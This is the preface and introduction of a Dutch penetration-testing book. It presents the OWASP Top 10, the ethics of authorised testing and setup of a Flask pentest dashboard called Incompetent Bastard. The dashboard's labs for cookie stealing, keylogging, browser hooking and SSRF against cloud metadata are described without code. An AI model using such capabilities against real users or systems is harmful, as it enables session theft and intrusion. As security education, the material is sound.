Voorwoord

Voorwoord

Er is een beroep dat je niet leert op de universiteit, niet uit een boek, en al helemaal niet van een YouTube-video van achttien minuten met dramatische muziek en een thumbnail waarop iemand een hoodie draagt in een donkere kamer. Dat beroep is penetratietester. En het is tijd dat we daar eerlijk over zijn.

Dit boek gaat over het testen van webapplicaties. Niet het soort testen waarbij je met een checklist door een formulier loopt en aan het eind een PDF genereert die niemand leest. Nee, het soort testen waarbij je probeert om in te breken in systemen die gebouwd zijn door mensen die oprecht dachten dat ze veilig waren. Soms hebben ze gelijk. Meestal niet.

Waarom dit boek bestaat

De wereld heeft geen tekort aan beveiligingsboeken. Wat de wereld wel heeft, is een tekort aan beveiligingsboeken die eerlijk zijn. De meeste boeken over penetratietesten lezen alsof ze geschreven zijn door een commissie: droog, voorzichtig, en zo bang om iets controversieels te zeggen dat ze eindigen met alinea’s als “het is belangrijk om de beveiligingspostuur van de organisatie te evalueren in de context van het risicolandschap”. Niemand heeft daar ooit iets van geleerd.

Dit boek neemt een andere aanpak. We combineren twee perspectieven die op het eerste gezicht niet bij elkaar lijken te passen, maar die samen een completer beeld geven dan elk afzonderlijk zou kunnen.

De twee perspectieven

Het eerste perspectief is dat van de nieuwsgierige wetenschapper. Iemand die zich verwondert over hoe het web eigenlijk werkt, die geniet van historische anekdotes, en die de neiging heeft om technische concepten uit te leggen met vergelijkingen die iedereen begrijpt. Waarom is HTTP stateless? Nou, stel je voor dat je elke ochtend naar dezelfde bakker gaat, maar hij je elke keer opnieuw vraagt wie je bent en wat je wilt. Dat is HTTP. Cookies zijn het equivalent van een stempelkaart die je zelf meeneemt, zodat de bakker tenminste weet dat je vaker komt.

Het tweede perspectief is dat van iemand die al te lang in deze industrie werkt en het vermogen heeft verloren om beleefd te doen over incompetentie. Iemand die de neiging heeft om hardop te vragen waarom, in het jaar 2026, bedrijven nog steeds wachtwoorden opslaan in plain text. Iemand die vindt dat de beveiliging van de meeste webapplicaties het niveau heeft van een fietsenrek zonder slot: het staat er, het ziet er officieel uit, maar het houdt precies niemand tegen.

Samen vormen deze twee perspectieven de toon van dit boek: warm maar scherp, nieuwsgierig maar cynisch, en altijd eerlijk.

Over toestemming en ethiek

Laten we dit meteen helder maken, want het is te belangrijk om naar een bijlage te verbannen.

Alles wat je in dit boek leert, mag je uitsluitend toepassen op systemen waarvoor je expliciete, schriftelijke toestemming hebt. Geen mondeling akkoord. Geen “mijn vriend zei dat het goed was”. Geen “ik test mijn eigen bedrijf, dat mag toch”. Schriftelijk. Met een scope. Met een datum. Met een handtekening.

In Nederland valt ongeautoriseerde toegang tot computersystemen onder artikel 138ab van het Wetboek van Strafrecht. De maximumstraf is vier jaar gevangenisstraf. Dat is geen theoretisch risico. Mensen worden ervoor veroordeeld. Regelmatig. En de rechter maakt geen onderscheid tussen iemand die “gewoon even wilde kijken” en iemand die actief schade aanrichtte. Toegang zonder toestemming is toegang zonder toestemming, ongeacht je intenties.

De technieken in dit boek zijn krachtig. Ze laten je dingen doen die de meeste ontwikkelaars niet voor mogelijk houden. Maar kracht zonder verantwoordelijkheid is gewoon vandalisme. En vandalisme is geen pentest, hoe technisch onderlegd je ook bent.

De wet maakt geen onderscheid tussen een inbreker met een koevoet en een inbreker met een laptop. Beide eindigen met een strafblad. Het enige verschil is dat de laptop-inbreker vaak denkt dat hij slim genoeg is om niet gepakt te worden. Spoiler: dat is hij niet.

Er is ook een ethische dimensie die verder gaat dan de wet. Een penetratietest raakt echte systemen waar echte mensen van afhankelijk zijn. Als je een test uitvoert op een ziekenhuisnetwerk en je brengt per ongeluk een systeem down, dan gaat het niet om bits en bytes – dan gaat het om patientenzorg. Als je bij een webshop de database extraheert voor je rapport, dan kijk je naar echte persoonsgegevens van echte klanten. Die verantwoordelijkheid weegt zwaar, en dat hoort ook zo.

Gebruik deze kennis om systemen veiliger te maken. Gebruik ze om organisaties te helpen hun zwakke plekken te vinden voordat iemand anders dat doet. Gebruik ze nooit om schade aan te richten.

Wat je leert

Dit boek leert je hoe webapplicaties echt werken – niet de versie uit het marketingmateriaal, maar de versie met alle lelijke stukken erbij. Je leert hoe aanvallers denken, welke patronen ze herkennen, en hoe ze die patronen misbruiken.

Je leert over Cross-Site Scripting, SQL Injection, Server-Side Request Forgery, en een hele rits andere kwetsbaarheden waarvan de namen alleen al onheilspellend klinken. Je leert hoe je ze vindt, hoe je ze exploiteert in een gecontroleerde omgeving, en – misschien wel het belangrijkste – hoe je ze rapporteert op een manier die ervoor zorgt dat ze daadwerkelijk worden opgelost.

Wat je niet leert

Dit boek maakt je geen hacker. Dat woord is sowieso zo misbruikt dat het nauwelijks nog betekenis heeft. Dit boek maakt je een betere beveiligingstester. Het verschil is dat een beveiligingstester rapporteert, documenten levert, en werkt binnen de grenzen van een opdracht. Een hacker in de populaire zin van het woord doet geen van die dingen.

Dit boek leert je ook geen netwerk-penetratietesting, Active Directory-aanvallen, of fysieke beveiliging. Daarvoor is het zusterboek, Incompetent Bastards: Het Netwerk.

Over Incompetent Bastard

Door dit hele boek heen gebruiken we een tool die we Incompetent Bastard noemen. Ja, de naam is bewust gekozen. Het is een knipoog naar de staat van beveiliging in onze industrie – een industrie waarin de meeste kwetsbaarheden niet voortkomen uit briljante aanvallen, maar uit basale fouten die door basale controles voorkomen hadden kunnen worden.

IB is een Flask-gebaseerd security assessment dashboard dat speciaal gebouwd is voor penetratietesting. Het combineert een Command Library van 194 commando’s, vijf interactieve web labs (XSS, XXE, CSRF, SQLi, SSRF), acht payload generators, een Task Runner met allowlisted commando’s, een Screen Terminal, en een compleet findings management systeem met CVSS 4.0 scoring, evidence management, en automatische rapportgeneratie via pandoc en LaTeX.

IB is geen magisch wapen. Het is een werkbank. Net zoals een timmerman niet beter wordt van het kopen van dure gereedschappen maar van het leren gebruiken van de gereedschappen die hij heeft, zo word jij niet een betere pentester van het installeren van IB. Je wordt een betere pentester door te begrijpen wat elke tool doet en waarom je hem op dat moment inzet.

Het is ook legacy code. Met Nederlandse variabelenamen. Met functies als bevindingen_halen en zet_actief. Met een database waarin een finding een “bevinding” heet en een template een “bevindingen_template”. Dit is bewust niet opgeschoond, want echte tools in echte omgevingen zien er zo uit. Perfecte code bestaat alleen in tutorials.

Elk hoofdstuk in dit boek bevat praktische oefeningen met IB. Je zult het opzetten, configureren, en gebruiken alsof het een dagelijks instrument is – want dat is het, voor iedereen die dit vak serieus neemt.

Hoe dit boek te lezen

Je kunt dit boek van voor naar achter lezen, en dat is ook de aanbevolen volgorde. Elk hoofdstuk bouwt voort op het vorige. Maar als je al ervaring hebt, kun je ook direct naar een specifiek hoofdstuk springen. Elk hoofdstuk is zo geschreven dat het op zichzelf te begrijpen is, hoewel je dan af en toe een referentie zult missen.

De IB Tips die je door het boek heen vindt (gemarkeerd met > **IB** --) geven praktische aanwijzingen voor het gebruik van Incompetent Bastard bij de betreffende techniek.

Over de doelgroep

Dit boek is geschreven voor mensen die al enige technische achtergrond hebben. Je hoeft geen expert te zijn, maar je moet weten wat een HTTP request is, je moet je weg kunnen vinden in een terminal, en het woord “port” mag geen verwarring oproepen met iets dat je drinkt bij het dessert.

Als je een systeembeheerder bent die wil begrijpen hoe aanvallers denken: welkom. Als je een ontwikkelaar bent die wil weten welke fouten je onbewust maakt: welkom. Als je een aspirant-pentester bent die het vak wil leren: welkom. Als je een manager bent die wil begrijpen waar al dat beveiligingsbudget naartoe gaat: welkom, en bereid je voor op oncomfortabele antwoorden.

Conventies in dit boek

Door het hele boek heen gebruiken we een aantal conventies:

Dankwoord

Dit boek was niet mogelijk geweest zonder de talloze ontwikkelaars die, ondanks alle waarschuwingen, handleidingen, en beveiligingsframeworks, nog steeds code schrijven die kwetsbaar is voor aanvallen die al twintig jaar gedocumenteerd zijn. Zonder jullie zou dit boek niet nodig zijn geweest, en eerlijk gezegd zou de hele penetratietestindustrie niet bestaan. Bedankt voor de werkgelegenheid.

Dank aan de OWASP-gemeenschap, die al meer dan twintig jaar dezelfde boodschap verkondigt met het geduld van een kleuterjuf die voor de honderdste keer uitlegt dat je je handen moet wassen voor het eten.

Dank aan iedereen die ooit een bug report heeft ingediend dat begon met “dit is eigenlijk geen beveiligingsprobleem, maar…” – het was wel een beveiligingsprobleem. Het is altijd een beveiligingsprobleem.

Dank aan de open source gemeenschap, die tools bouwt en deelt zodat we niet allemaal het wiel opnieuw hoeven uit te vinden. Incompetent Bastard zelf is gebouwd op de schouders van Flask, SQLAlchemy, pandoc, en tientallen andere projecten die onderhouden worden door mensen die daar zelden genoeg waardering voor krijgen.

En tot slot dank aan de lezer. Het feit dat je dit boek hebt opgepakt in plaats van een gratis tutorial op het internet te volgen, zegt iets over je toewijding aan het vak. Laten we die toewijding de komende honderden pagina’s goed gebruiken.

Veel plezier. En vergeet nooit: alleen met toestemming.

Jan-Karel Visser, Kropswolde, 2026

Inleiding

Inleiding

De stad zonder bestemmingsplan

Op 12 maart 1989 schreef een Britse natuurkundige genaamd Tim Berners-Lee een bescheiden voorstel van enkele pagina’s, getiteld “Information Management: A Proposal”. Zijn baas bij CERN schreef er “Vague, but exciting” op en legde het terzijde. Het is misschien de meest profetische marginale opmerking in de geschiedenis van de technologie, want dat vage-maar-opwindende voorstel werd het World Wide Web.

Wat Berners-Lee in gedachten had, was elegant in zijn eenvoud: documenten die naar elkaar konden verwijzen via hyperlinks, opgeslagen op servers die met elkaar konden communiceren via een simpel protocol. Het was bedoeld voor wetenschappers die onderzoeksresultaten wilden delen. Het was niet bedoeld voor internetbankieren, sociale media, of webshops die je op drie uur ’s nachts verleiden tot de aankoop van een opblaasbaar eenhoornskostuum.

Maar hier zijn we dan.

Als je het web zou vergelijken met een stad, dan is het een stad die gebouwd is zonder bestemmingsplan. De eerste paar straten waren keurig aangelegd – goed verlicht, overzichtelijk, met duidelijke borden. Dat was het web van de vroege jaren negentig: statische HTML-pagina’s, een paar afbeeldingen, en het overweldigende gevoel dat je deelnam aan iets nieuws en bijzonders.

Toen kwamen de winkeliers. En de bankiers. En de entertainmentindustrie. En ineens moesten er flatgebouwen komen waar huisjes hadden gestaan, werden er snelwegen dwars door woonwijken getrokken, en begon iedereen kelders te graven zonder te controleren of er misschien al leidingen lagen. Het web van vandaag is het resultaat: een metropool van onvoorstelbare omvang en complexiteit, gebouwd op fundamenten die ontworpen waren voor een dorpje.

HTTP, het protocol dat Berners-Lee ontwierp, was stateless. Elke keer dat je een pagina opvraagt, is de server alles vergeten wat hij over je wist. Het is alsof je elke dag naar dezelfde bakker gaat, maar hij je elke keer opnieuw vraagt wie je bent. Om dit op te lossen bedachten Netscape in 1994 cookies – kleine tekstbestandjes die je browser opslaat, zodat de server je de volgende keer herkent. Het is het digitale equivalent van een stempelkaart: de bakker weet niet echt wie je bent, maar als je die kaart laat zien, geeft hij je je gebruikelijke bestelling.

Dat klinkt onschuldig. Maar die cookies werden nu gebruikt voor sessiemanagement, authenticatie, tracking, personalisatie, en nog honderd andere dingen die Netscape in 1994 niet had voorzien. En als iemand je stempelkaart kan kopieren – of, in webtermen, je session cookie kan stelen – dan kan diegene zich voordoen als jou. Dat is, in essentie, de kern van veel aanvallen die we in dit boek zullen behandelen.

De afgelopen drie decennia is het web gegroeid van een netwerk van statische documenten naar een platform waarop de gehele menselijke beschaving draait. We doen ons bankzaken via het web. We beheren onze gezondheidsgegevens via het web. We besturen kritieke infrastructuur via het web. En de fundamentele architectuur onder dit alles is nog steeds een protocol dat ontworpen was om wetenschappelijke papers te delen.

Stel je voor dat je een stad bouwt op de fundamenten van een tuinhuisje. Dat is het moderne web. En het is de taak van de penetratietester om de scheuren in die fundamenten te vinden voordat het gebouw instort.

De OWASP Top 10: een catalogus van collectief falen

Als je een arts zou vragen wat de tien meest voorkomende ziekten zijn, zou je een lijst verwachten die af en toe verandert naarmate de medische wetenschap vordert. Nieuwe ziekten worden ontdekt, oude worden uitgeroeid, en de rangorde verschuift.

De OWASP Top 10 – de lijst van de tien meest kritieke beveiligingsrisico’s voor webapplicaties – zou op dezelfde manier moeten werken. Maar dat doet hij niet. De lijst verandert wel, maar niet omdat we oude problemen hebben opgelost. Hij verandert omdat we er nieuwe problemen bij hebben gekregen terwijl we de oude gewoon laten liggen. Het is alsof de medische wereld malaria nog steeds niet had weten te behandelen, maar ondertussen wel vijf nieuwe auto-immuunziekten had ontdekt.

Laten we de huidige OWASP Top 10 doorlopen, niet als een academische exercitie, maar als een rondleiding door de schade die decennia van slordig programmeren hebben aangericht.

A1 – Broken Access Control

Dit staat op nummer een. Niet omdat het een nieuw probleem is, maar omdat het zo oud en zo wijdverspreid is dat het weigert om weg te gaan, als een huisgenoot die al lang geleden had moeten verhuizen maar nog steeds op de bank zit.

Broken Access Control betekent dat een applicatie niet goed controleert of een gebruiker daadwerkelijk mag doen wat hij probeert te doen. Mag Jan het profiel van Piet bekijken? De applicatie zegt: “Jan heeft een geldige sessie, dus ja.” Maar niemand heeft ooit geprogrammeerd dat Jan alleen zijn eigen profiel mag zien.

Het is het digitale equivalent van een gebouw waar alle deuren wel een slot hebben, maar waar iedereen dezelfde sleutel heeft gekregen.

IB – Incompetent Bastard bevat finding templates voor Broken Access Control (A01) met vooraf ingevulde beschrijvingen, impact analyses, en aanbevelingen. Wanneer je tijdens een pentest een autorisatiefout vindt, selecteer je de template en vul je alleen de specifieke details aan.

A2 – Cryptographic Failures

Vroeger heette dit “Sensitive Data Exposure”, maar OWASP heeft het hernoemd omdat het probleem niet is dat data blootgesteld wordt – het probleem is dat de cryptografie die die data had moeten beschermen, niet deugt.

Dit gaat over wachtwoorden die als MD5-hash worden opgeslagen (MD5 is zo zwak dat je er beter een briefje op de monitor kunt plakken – het effect is hetzelfde). Het gaat over HTTPS-certificaten die verlopen zijn. Het gaat over encryptiesleutels die hardcoded in de broncode staan, als een geheime deur in een muur die iedereen kan zien.

A3 – Injection

SQL Injection. Command Injection. LDAP Injection. De naam verandert, het principe blijft: de applicatie neemt gebruikersinvoer en verwerkt die als code. Het is alsof je een bestelling opneemt in een restaurant en de klant zegt: “Ik wil graag een biefstuk, en doe de kluis ook maar open.” En de ober het gewoon doorgeeft aan de keuken.

We weten al meer dan twintig jaar hoe je dit voorkomt: parameterized queries, input validation, prepared statements. Het staat in elk handboek. Het staat in elke cursus. Het staat in elke code review checklist. En toch is het nog steeds op plek drie.

IB – De Command Library bevat 194 commando’s verdeeld over categorieen als web_sqli_union, web_sqli_blind, web_sqli_error en web_cmdi_operators. Deze commando’s bevatten kant-en-klare payloads die je direct kunt aanpassen aan je doelwit.

A4 – Insecure Design

Dit is een relatief nieuwe toevoeging, en het is de meest pijnlijke. Want Insecure Design betekent niet dat de implementatie een fout bevat – het betekent dat het ontwerp zelf onveilig is. Je kunt de code perfect schrijven, alle best practices volgen, en nog steeds een onveilige applicatie opleveren als het ontwerp niet klopt.

Het is het verschil tussen een huis dat slecht gebouwd is en een huis dat op de verkeerde plek staat. Je kunt het huis repareren, maar je kunt het niet verplaatsen.

A5 – Security Misconfiguration

De standaardinstellingen zijn onveilig. De foutmeldingen lekken informatie. De directory listing staat aan. De debug modus draait in productie. De admin console is toegankelijk via het internet. Het default wachtwoord is nooit veranderd.

Security misconfiguration is het bewijs dat de meeste organisaties hun software behandelen als een meubelstuk van IKEA: ze volgen de instructies net genoeg om het overeind te krijgen, maar al die extra schroeven die overblijven? Die gooien ze weg. Die extra schroeven zijn je beveiligingsinstellingen.

A6 – Vulnerable and Outdated Components

De gemiddelde webapplicatie is als een huis dat gebouwd is met materialen van de sloop. Stukjes jQuery van tien jaar geleden. Een logging library die al drie jaar niet meer onderhouden wordt. Een framework waarvan versie 2.3.1 een bekende kwetsbaarheid heeft, maar niemand heeft ooit gecontroleerd welke versie er draait.

Dit is geen technisch probleem. Dit is een managementprobleem. Iemand moet verantwoordelijk zijn voor het bijhouden van dependencies. Maar niemand wil die persoon zijn, want het is saai werk dat nooit complimenten oplevert – totdat het misgaat, en dan is het ineens ieders probleem.

A7 – Identification and Authentication Failures

Zwakke wachtwoorden worden geaccepteerd. Brute force is niet geblokkeerd. Multi-factor authenticatie is “op de roadmap”. Session tokens worden niet geroteerd na het inloggen. Wachtwoord-reset tokens verlopen nooit.

Als Broken Access Control het probleem is dat je overal binnen kunt als je eenmaal binnen bent, dan is dit het probleem dat binnenkomen te makkelijk is. Het zijn twee kanten van dezelfde medaille, en die medaille is gemaakt van karton.

A8 – Software and Data Integrity Failures

Dit gaat over situaties waarin een applicatie aanneemt dat data die van buiten komt, te vertrouwen is. Ongevalideerde deserialisatie. CI/CD pipelines zonder integriteitscontroles. Automatische updates zonder signature verification.

Het is alsof je een pakketje aanneemt van een koerier die geen uniform draagt, geen identificatie heeft, en aanbelt bij het verkeerde adres. Maar het pakketje ziet er goed uit, dus je maakt het gewoon open.

A9 – Security Logging and Monitoring Failures

Als een inbreker je huis binnendringt en je hebt geen beveiligingscamera’s, geen alarm, en geen buren die opletten, dan weet je niet eens dat er ingebroken is tot je op een dag je sieraden mist.

De meeste webapplicaties loggen niet genoeg. Ze loggen niet de juiste dingen. Ze bewaren de logs niet lang genoeg. En als ze al loggen, kijkt er niemand naar. Security monitoring is het digitale equivalent van een rookmelder die je hebt geinstalleerd maar waarvan je de batterijen hebt verwijderd omdat hij af en toe een piepje gaf.

A10 – Server-Side Request Forgery (SSRF)

SSRF is de nieuwkomer die meteen op de A-lijst terechtkwam. Bij SSRF misleid je een server om namens jou verzoeken te doen naar plekken waar jij zelf niet bij kunt. Het is alsof je een medewerker vraagt om even een dossier uit de kluis te halen, en hij doet het zonder te vragen waarom jij dat dossier nodig hebt.

Met de opkomst van cloud computing is SSRF bijzonder gevaarlijk geworden, want die cloud metadata endpoints die alleen toegankelijk zouden moeten zijn vanaf de server zelf? Een SSRF-kwetsbaarheid geeft je precies die toegang.

IB – Het SSRF lab in Incompetent Bastard bevat redirect endpoints die cloud metadata URL’s simuleren, inclusief AWS, GCP, en Azure endpoints. Ideaal om te begrijpen hoe SSRF in de praktijk werkt.

Het fascinerende aan deze lijst is niet wat erop staat, maar hoe weinig hij verandert. Het is alsof de medische wereld jaar na jaar publiceert dat handen wassen ziektes voorkomt, en iedereen zegt “ja, goed punt”, en vervolgens niet zijn handen wast.

De reden dat penetratietesting als beroep bestaat, is niet dat aanvallen zo geavanceerd zijn. Het is dat verdediging zo slordig is.

Incompetent Bastard opzetten

Genoeg theorie. Laten we iets doen.

Incompetent Bastard is een Flask-applicatie die je lokaal draait. Het is bewust ontworpen om alleen op je eigen machine te draaien – niet op een server die bereikbaar is via het internet. Dit is een pentest-werkbank, geen productiesite.

Vereisten

Je hebt het volgende nodig:

Stap 1: Clone de repository

git clone <repository-url> incompetentbastard
cd incompetentbastard

Stap 2: Virtual environment aanmaken en activeren

python3 -m venv .venv && . .venv/bin/activate

Een virtual environment is het equivalent van een schone werkbank. Alles wat je installeert blijft in die omgeving, en je vervuilt je systeem-Python niet met dependencies die je over drie maanden vergeten bent.

Stap 3: Dependencies installeren

pip install -r requirements.txt

Dit installeert Flask, SQLAlchemy, Flask-Migrate, WTForms, de sh library voor pandoc-integratie, en een hele rits andere packages die IB nodig heeft.

Stap 4: De applicatie starten

flask --app app:create_app run --host 127.0.0.1 --port 5000

Let op het adres: 127.0.0.1. Dat is localhost. Dat is alleen jouw machine. Dit is bewust. IB luistert standaard niet op 0.0.0.0 omdat het niet de bedoeling is dat je pentest-dashboard bereikbaar is voor het hele netwerk.

IB – De create_app() factory in app.py initialiseert de database automatisch bij de eerste start. Je hoeft geen migraties te draaien of tabellen aan te maken – SQLite wordt aangemaakt in meuk/flask/db/db.sqlite.

Stap 5: Open je browser

Navigeer naar http://127.0.0.1:5000/dashboard. Als alles goed is gegaan, zie je het IB dashboard. Als je geen dashboard ziet maar een pagina met “Een moment a.u.b.” en een script tag, dan werkt de beveiliging: je benadert IB niet vanaf localhost, en de applicatie serveert je in plaats daarvan het XSS beacon script.

Ja, je leest dat goed. Als je IB benadert vanaf een ander IP-adres dan localhost, krijg je een XSS hook geserveerd in plaats van het dashboard. Dat is een bewuste ontwerpkeuze. IB is tegelijkertijd het dashboard voor de pentester en een payload delivery platform voor doelwitten. Meer hierover in het hoofdstuk over XSS.

Omgevingsvariabelen

IB wordt geconfigureerd via environment variables. De belangrijkste:

Variabele Default Functie
SECRET_KEY Random (bij elke start) Sessie- en CSRF-signing
IB_ADMIN_USER / IB_ADMIN_PASSWORD Niet gezet Admin Basic Auth
PUBLIC_UPLOAD false Uploads toestaan van niet-localhost
PUBLIC_DOWNLOADS false Downloads toestaan van niet-localhost
SESSION_COOKIE_SECURE false Zet op true achter HTTPS proxy

Als SECRET_KEY niet is gezet, genereert IB bij elke herstart een nieuwe. Dat betekent dat alle sessies ongeldig worden. Voor ontwikkeling is dat prima. Voor een langlopende engagement wil je een vaste key instellen.

IB – Zet IB_ADMIN_USER en IB_ADMIN_PASSWORD als je IB wilt beschermen met Basic Authentication. Zonder deze variabelen is het dashboard alleen bereikbaar vanaf localhost via de _is_local_request() check.

Welkom op het dashboard

Als je IB opent op http://127.0.0.1:5000/dashboard, betreed je de cockpit van je pentest. Laten we een rondleiding maken.

Het hoofdscherm

Het dashboard is opgebouwd uit meerdere panelen die je in een oogopslag een overzicht geven van je engagement:

De navigatie

Via de navigatiebalk heb je toegang tot alle modules:

De labs

Naast het dashboard heeft IB vijf interactieve labs, elk met een eigen blueprint:

  1. XSS Lab (/xxs/) – een compleet Cross-Site Scripting platform met cookie stealing, keylogging, localStorage exfiltratie, en command & control voor hooked browsers.
  2. XXE Lab (/xxe/) – XML External Entity out-of-band data exfiltratie.
  3. CSRF Lab (/csrf.) – Cross-Site Request Forgery injection endpoints.
  4. SQLi Lab (/sqli2/) – SQL Injection oefenomgeving.
  5. SSRF Lab (/ssrf/) – Server-Side Request Forgery redirect endpoints voor cloud metadata simulatie.

Elk lab is ontworpen als een functioneel aanvalsplatform. Dit zijn geen speelgoedvoorbeelden – dit zijn werkende tools die je inzet tijdens een echte pentest.

IB – De CSP (Content Security Policy) headers worden bewust uitgeschakeld voor de lab-routes. Dit is nodig omdat de labs zelf kwaadaardige scripts moeten kunnen serveren. Het dashboard zelf heeft strikte CSP headers: default-src 'self'; script-src 'self'.

Finding templates

IB wordt geleverd met veertien standaard finding templates, gebaseerd op de meest voorkomende webapplicatie-kwetsbaarheden:

# Template OWASP
1 OS Command Injection A03 – Injection
2 Cross-Site Scripting (XSS) A03 – Injection
3 XML External Entity (XXE) A03 – Injection
4 SQL Injection (SQLi) A03 – Injection
5 Path Traversal A01 – Broken Access Control
6 Server-Side Template Injection (SSTI) A03 – Injection
7 CORS Misconfiguration A05 – Security Misconfiguration
8 Server-Side Request Forgery (SSRF) A10 – SSRF
9 IDOR A01 – Broken Access Control
10 Security Headers A05 – Security Misconfiguration
11 Vulnerable and Outdated Components A06 – Vulnerable Components
12 Broken Access Control A01 – Broken Access Control
13 Cryptographic Failures A02 – Cryptographic Failures
14 Insecure Design A04 – Insecure Design

Elke template bevat een volledige beschrijving van de kwetsbaarheid, de impact, de aanbeveling, CVSS 4.0 vectoren, CWE-referenties, en MITRE ATT&CK technique ID’s. Wanneer je een bevinding aanmaakt, selecteer je de template en vult je de specifieke details in: de locatie, het bewijs, de exploitstappen.

IB – Je kunt eigen templates toevoegen of de standaard templates overschrijven via de seed-functie op /dashboard/findings/templates/seed. Dit laadt de templates uit meuk/flask/db/standard_findings.json.

CVSS 4.0 Calculator

IB bevat een ingebouwde CVSS 4.0 calculator die je kunt gebruiken bij het aanmaken van findings. Je stelt de elf base metrics in – Attack Vector, Attack Complexity, Attack Requirements, Privileges Required, User Interaction, en de zes impact metrics – en IB berekent de score en severity rating automatisch.

De calculator is beschikbaar via de API op /api/cvss4/calculate en is geintegreerd in het findings formulier. Je hoeft niet meer naar een externe website te gaan om je CVSS-score te berekenen.

Rapportgeneratie

Wanneer je klaar bent met testen, genereert IB een rapport op basis van je bevindingen en notities. Het rapport wordt gegenereerd in LaTeX, geconverteerd naar Markdown via pandoc, en kan van daaruit naar elk gewenst formaat.

Het rapport bevat: - Een verkenningssectie op basis van je notities - Alle bevindingen, gegroepeerd per template - OWASP-categorisatie en CVSS-scores - Kruisverwijzingen tussen bevindingen - Screenshots en evidence

IB – Gebruik de Notes module om verkenningsnotities toe te voegen aan je rapport. Markeer een notitie als “rapport” en stel de volgorde in om te bepalen waar de notitie in het rapport verschijnt. Het rapport wordt gegenereerd via /dashboard/findings/rapport.

De methodologie: hoe een webpentest eruitziet

Een penetratietest is geen willekeurige aanval. Het is een gestructureerd proces, net zo methodisch als een wetenschappelijk experiment. Je hebt een hypothese (dit systeem is kwetsbaar), een methode (zo ga ik dat testen), resultaten (dit heb ik gevonden), en conclusies (dit moet er veranderen).

De methodologie die we in dit boek volgen, bestaat uit vijf fasen. Elke fase bouwt voort op de vorige, en het overslaan van een fase is het equivalent van een arts die een diagnose stelt zonder de patient te onderzoeken.

Fase 1: Scope en planning

Voordat je ook maar een enkele byte over het netwerk stuurt, moet je weten wat je mag testen. De scope definieert de grenzen van je engagement:

Dit is het moment waarop je de schriftelijke toestemming regelt. Geen scope, geen toestemming, geen test. Zo simpel is het.

Fase 2: Verkenning (reconnaissance)

Dit is de fase waarin je alles leert over je doelwit zonder het daadwerkelijk aan te vallen. Je verzamelt informatie uit publieke bronnen: DNS-records, WHOIS-data, certificaattransparantielogs, sociale media, vacatureteksten (die verrassend veel onthullen over de technologie-stack van een bedrijf).

Je brengt de aanvalsoppervlakte in kaart: welke poorten zijn open? Welke services draaien er? Welke technologieen worden gebruikt? Welke versies?

IB – De Task Runner bevat voorgedefinieerde taken voor verkenning. De scan taak voert een nmap TCP/UDP scan uit, inclusief nuclei en whatweb. De search taak doorzoekt eerdere scanresultaten op specifieke services. De kerberos taak doet Kerberos user enumeration en LDAP queries.

Fase 3: Scanning en analyse

Nu ga je actiever te werk. Je gebruikt scanners om kwetsbaarheden te identificeren. Je test de applicatie handmatig: hoe reageert hij op onverwachte invoer? Wat gebeurt er als je een enkele quote in een zoekveld typt? Wat als je de waarde van een hidden field verandert? Wat als je een verzoek stuurt zonder session cookie?

Dit is de fase waarin je de OWASP Top 10 als checklist gebruikt. Niet als een afvinklijst, maar als een denkraamwerk: voor elke categorie vraag je je af of de applicatie kwetsbaar zou kunnen zijn, en dan test je die hypothese.

Fase 4: Exploitatie

Je hebt kwetsbaarheden gevonden. Nu ga je bewijzen dat ze daadwerkelijk misbruikt kunnen worden. Dit is niet het moment voor theoretische risico’s – dit is het moment waarop je laat zien wat een aanvaller echt zou kunnen doen.

Kun je via die SQL Injection bij de database? Kun je via die XSS session cookies stelen? Kun je via die SSRF de cloud metadata bereiken?

Het doel is niet om zoveel mogelijk schade aan te richten. Het doel is om de impact te demonstreren op een manier die de opdrachtgever begrijpt en serieus neemt. Een screenshot van admin:admin als werkende credentials is overtuigender dan een pagina uitleg over waarom zwakke wachtwoorden een risico vormen.

IB – Documenteer elke exploitatiestap in een finding. Gebruik het uitwerken veld voor je evidence: screenshots, payloads, HTTP requests en responses. IB slaat evidence op in meuk/flask/db/evidence/ per finding.

Fase 5: Rapportage

Dit is de fase die de meeste pentesters het minst leuk vinden en die de opdrachtgever het belangrijkst vindt. Je rapport is het enige tastbare resultaat van je werk. Als je rapport slecht is, maakt het niet uit hoe briljant je exploits waren.

Een goed pentest-rapport bevat:

IB – Het rapport wordt gegenereerd via /dashboard/findings/rapport. IB groepeert bevindingen per template, voegt OWASP-categorisatie toe, en creert kruisverwijzingen tussen gerelateerde bevindingen. De output is LaTeX die via pandoc wordt omgezet naar Markdown, klaar voor verdere verwerking.

De cyclus herhaalt zich

Een pentest is geen eenmalige gebeurtenis. Het is een momentopname. De applicatie verandert, nieuwe features worden toegevoegd, dependencies worden geupdate (of niet). Een goede pentest levert niet alleen een rapport op, maar ook een baseline waartegen toekomstige tests gemeten kunnen worden.

Een noot over automatisering en handmatig testen

Er is een hardnekkige mythe in de beveiligingsindustrie dat je kwetsbaarheden kunt vinden door een scanner te draaien en het rapport te lezen. Het is dezelfde mythe als beweren dat je een taal leert door Google Translate te gebruiken.

Scanners zijn nuttig. Ze vinden de voor de hand liggende dingen. Ze vinden de standaardfouten, de bekende CVE’s, de laaghangend fruit. Maar ze begrijpen geen context. Een scanner weet niet dat die specifieke parameter in die specifieke context leidt tot een chain van kwetsbaarheden die samen veel erger zijn dan elk afzonderlijk. Een scanner weet niet dat die ogenschijnlijk onschuldige redirect functie misbruikt kan worden om interne services te bereiken.

Handmatig testen is waar het echte werk zit. En dat is precies waarom IB ontworpen is als een werkbank en niet als een scanner: het helpt je bij het handmatige werk, het automatiseert het saaie deel (rapportage, categorizering, evidence management), en het laat het denkwerk aan jou.

Hoe de rest van dit boek is opgebouwd

De komende hoofdstukken volgen een logische volgorde die de methodologie weerspiegelt:

Elk hoofdstuk bevat: - Historische context en achtergrond - Technische uitleg met voorbeelden - Praktische oefeningen met IB - IB Tips voor efficient gebruik van de tool - Referenties naar OWASP, CWE, en MITRE ATT&CK

Samenvatting en referentietabel

We hebben in dit hoofdstuk de fundamenten gelegd: de geschiedenis van het web en waarom het inherent onveilig is, de OWASP Top 10 als catalogus van steeds terugkerende fouten, het opzetten van Incompetent Bastard, een rondleiding door het dashboard, en de methodologie die we door het hele boek zullen volgen.

Hier is een referentietabel die de onderwerpen uit dit hoofdstuk koppelt aan de bijbehorende IB features:

Topic IB Feature
Setup flask --app app:create_app run --host 127.0.0.1 --port 5000
Dashboard Index blueprint, navigatie met alle modules
Finding templates 14 standaard templates met OWASP, CWE, MITRE ATT&CK
CVSS scoring Ingebouwde CVSS 4.0 calculator op /api/cvss4/calculate
Methodologie Task Runner workflow (scan, search, kerberos, brute force)
